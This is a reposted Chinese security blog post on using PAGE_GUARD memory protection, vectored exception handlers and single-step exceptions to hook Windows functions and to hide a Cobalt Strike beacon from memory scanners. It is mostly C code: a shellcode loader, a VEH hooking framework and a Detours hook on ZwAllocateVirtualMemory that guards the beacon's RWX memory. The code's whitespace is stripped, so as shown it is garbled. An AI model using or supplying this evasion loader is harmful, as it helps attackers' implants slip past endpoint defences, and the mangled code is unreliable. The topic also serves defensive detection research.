1详细介绍
作者:Arcueid(先知社区)
原文:https://xz.aliyun.com/t/17046
前两天看见鸭哥的文章https://mp.weixin.qq.com/s/cSZTzVSbUExF9A-7TsmWvw
里面利用内存的PAGE_GUARD
属性 进行规避扫描 学习一下 记录一下过程
探测
先简单了解一下PAGE_GUARD
PAGE_GUARD属性为内存提供一次性警报
访问PAGE_GUARD
修饰的地址会引发STATUS_GUARD_PAGE_VIOLATION异常 并移除PAGE_GUARD
状态
#include<iostream>#include<windows.h>#include"loader.h"intmain(){LPVOIDlpMem=VirtualAlloc(0,sizeof(shellcode),MEM_COMMIT,PAGE_GUARD|PAGE_EXECUTE_READWRITE);memcpy(lpMem,shellcode,sizeof(shellcode));memcpy(lpMem,shellcode,sizeof(shellcode));printf("%p n",lpMem);((void(*)(void))lpMem)();system("pause");}
可以看见在第二次尝试写的时候成功写入 注意一下这里是用的调试 所以异常是被处理了的 直接跑是不行的
hook
现在利用这个异常我们已经可以进行hook了 但是问题是只能进行一次 因为PAGE_GUARD会被消除 这时候我们可以利用SIGNLE_STEP
单步异常来再次设置属性 恢复执行
将eflags的TF
位置1 即可触发单步异常
这里的处理类似硬断hook
#include<iostream>#include<windows.h>#include"loader.h"typedefstruct_CIntelligentHookedFunction{void*from;void*to;void**original;}CIntelligentHookedFunction;typedefstruct_CHooks{CIntelligentHookedFunction*hookedFunctions;size_tcount;size_tcapacity;}CHooks;CHooksg_hooks={NULL,0,0};staticvoidAddPageGuardProtect(void*addr){DWORDoldProtect;MEMORY_BASIC_INFORMATIONmbi;SYSTEM_INFOsysInfo;GetSystemInfo(&sysInfo);VirtualQuery(addr,&mbi,sizeof(MEMORY_BASIC_INFORMATION));VirtualProtect(addr,sysInfo.dwPageSize,mbi.Protect|PAGE_GUARD,&oldProtect);}constCIntelligentHookedFunction*CHooks_GetHookedFunctions(size_t*count){*count=g_hooks.count;returng_hooks.hookedFunctions;}LONGNTAPIExceptionCallBack(struct_EXCEPTION_POINTERS*ExceptionInfo){LPVOIDExceptionAddress=ExceptionInfo->ExceptionRecord->ExceptionAddress;if(ExceptionInfo->ExceptionRecord->ExceptionCode==EXCEPTION_GUARD_PAGE){#ifdef _WIN64uintptr_tip=(uintptr_t)ExceptionInfo->ContextRecord->Rip;#elseuintptr_tip=(uintptr_t)ExceptionInfo->ContextRecord->Eip;#endifsize_tcount;constCIntelligentHookedFunction*funcs=CHooks_GetHookedFunctions(&count);for(size_ti=0;i<count;++i){if(ip==(uintptr_t)funcs[i].from){#ifdef _WIN64*funcs[i].original=(void*)ExceptionInfo->ContextRecord->Rip;ExceptionInfo->ContextRecord->Rip=(uintptr_t)funcs[i].to;#else*funcs[i].original=(void*)ExceptionInfo->ContextRecord->Eip;ExceptionInfo->ContextRecord->Eip=(uintptr_t)funcs[i].to;#endifbreak;}}ExceptionInfo->ContextRecord->EFlags|=0x100;returnEXCEPTION_CONTINUE_EXECUTION;}elseif(ExceptionInfo->ExceptionRecord->ExceptionCode==EXCEPTION_SINGLE_STEP){#ifdef _WIN64uintptr_tip=(uintptr_t)ExceptionInfo->ContextRecord->Rip;#elseuintptr_tip=(uintptr_t)ExceptionInfo->ContextRecord->Eip;#endifsize_tcount;constCIntelligentHookedFunction*funcs=CHooks_GetHookedFunctions(&count);for(size_ti=0;i<count;++i){if(ip==(uintptr_t)funcs[i].from){AddPageGuardProtect(funcs[i].from);break;}}returnEXCEPTION_CONTINUE_EXECUTION;}returnEXCEPTION_CONTINUE_SEARCH;}voidCHooks_Init(){g_hooks.hookedFunctions=NULL;g_hooks.count=0;g_hooks.capacity=0;AddVectoredExceptionHandler(1,&ExceptionCallBack);}voidCHooks_AddHook(void*_Function,void*_Hooked,void**_Original){if(g_hooks.count==g_hooks.capacity){g_hooks.capacity=g_hooks.capacity==0?4:g_hooks.capacity*2;g_hooks.hookedFunctions=(CIntelligentHookedFunction*)realloc(g_hooks.hookedFunctions,g_hooks.capacity*sizeof(CIntelligentHookedFunction));if(!g_hooks.hookedFunctions){exit(1);}}AddPageGuardProtect(_Function);CIntelligentHookedFunctionhook={_Function,_Hooked,_Original};g_hooks.hookedFunctions[g_hooks.count++]=hook;}typedefint(WINAPI*pMessageBoxW)(_In_opt_HWNDhWnd,_In_opt_LPCWSTRlpText,_In_opt_LPCWSTRlpCaption,_In_UINTuType);pMessageBoxWoriMessageBoxW=MessageBoxW;intWINAPImyMessageBoxW(_In_opt_HWNDhWnd,_In_opt_LPCWSTRlpText,_In_opt_LPCWSTRlpCaption,_In_UINTuType){returnoriMessageBoxW(hWnd,L"Hooked",lpCaption,uType);}intmain(){CHooks_Init();CHooks_AddHook(MessageBoxW,myMessageBoxW,(void**)&oriMessageBoxW);LPVOIDlpMem=VirtualAlloc(0,sizeof(shellcode),MEM_COMMIT,PAGE_GUARD|PAGE_EXECUTE_READWRITE);memcpy(lpMem,shellcode,sizeof(shellcode));((void(*)(void))lpMem)();}
这里写了一个messagebox的shellcode 我们测一下
接管beacon
首先要修改一下VEH的逻辑 这里我们不是通过PAGE_GUARD去hook函数 我们只是要保护内存
LONGNTAPIExceptionCallBack(struct_EXCEPTION_POINTERS*ExceptionInfo){if(ExceptionInfo->ExceptionRecord->ExceptionCode==EXCEPTION_GUARD_PAGE){lastGuardAddress=(LPVOID)ExceptionInfo->ExceptionRecord->ExceptionInformation[1];ExceptionInfo->ContextRecord->EFlags|=0x100;returnEXCEPTION_CONTINUE_EXECUTION;}elseif(ExceptionInfo->ExceptionRecord->ExceptionCode==EXCEPTION_SINGLE_STEP){if(lastGuardAddress!=nullptr){AddPageGuardProtect(lastGuardAddress);lastGuardAddress=nullptr;}returnEXCEPTION_CONTINUE_EXECUTION;}returnEXCEPTION_CONTINUE_SEARCH;}
那么现在我们利用Detours
去hook ZwAllocateVirtualMemory
接管beacon 使之分配的内存带上PAGE_GUARD
属性
HMODULEhNtdll=GetModuleHandle(L"ntdll.dll");pZwAllocateVirtualMemoryZwAllocateVirtualMemory=(pZwAllocateVirtualMemory)(GetProcAddress(hNtdll,"ZwAllocateVirtualMemory"));pZwAllocateVirtualMemoryoriZwAllocateVirtualMemory=ZwAllocateVirtualMemory;NTSTATUSNTAPImyZwAllocateVirtualMemory(_In_HANDLEProcessHandle,_Inout__At_(*BaseAddress,_Readable_bytes_(*RegionSize)_Writable_bytes_(*RegionSize)_Post_readable_byte_size_(*RegionSize))PVOID*BaseAddress,_In_ULONG_PTRZeroBits,_Inout_PSIZE_TRegionSize,_In_ULONGAllocationType,_In_ULONGProtect){NTSTATUSstatus=oriZwAllocateVirtualMemory(ProcessHandle,BaseAddress,ZeroBits,RegionSize,AllocationType,Protect);do{if(status!=0){break;}if(ProcessHandle!=GetCurrentProcess()){break;}if(AllocationType!=MEM_COMMIT){break;}if(Protect!=PAGE_EXECUTE_READWRITE){break;}else{status=oriZwAllocateVirtualMemory(ProcessHandle,BaseAddress,ZeroBits,RegionSize,AllocationType,Protect|PAGE_GUARD);}}while(false);returnstatus;}voidVEH_init(){AddVectoredExceptionHandler(1,&ExceptionCallBack);}....DetourTransactionBegin();DetourUpdateThread(GetCurrentThread());DetourAttach(&(PVOID&)oriZwAllocateVirtualMemory,myZwAllocateVirtualMemory);DetourTransactionCommit();
只hook RWX的
效果如下
会发现实际上还是有几个地方没有保护上 我的考虑是去hook NtProtectVirtualMemory
对任何修改为带X权限的内存 额外加个PAGE_GUARD
但是没什么用
因为对CS的实现不是很了解 这块没有研究明白 吊大老哥可以指点一下
2免费社区
安全洞察知识图谱星球是一个聚焦于信息安全对抗技术和企业安全建设的话题社区,也是一个[免费]的星球,欢迎大伙加入积极分享红蓝对抗、渗透测试、安全建设等热点主题
原文始发于微信公众号(安全洞察知识图谱):从PAGE_GUARD HOOK 到内存扫描规避
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论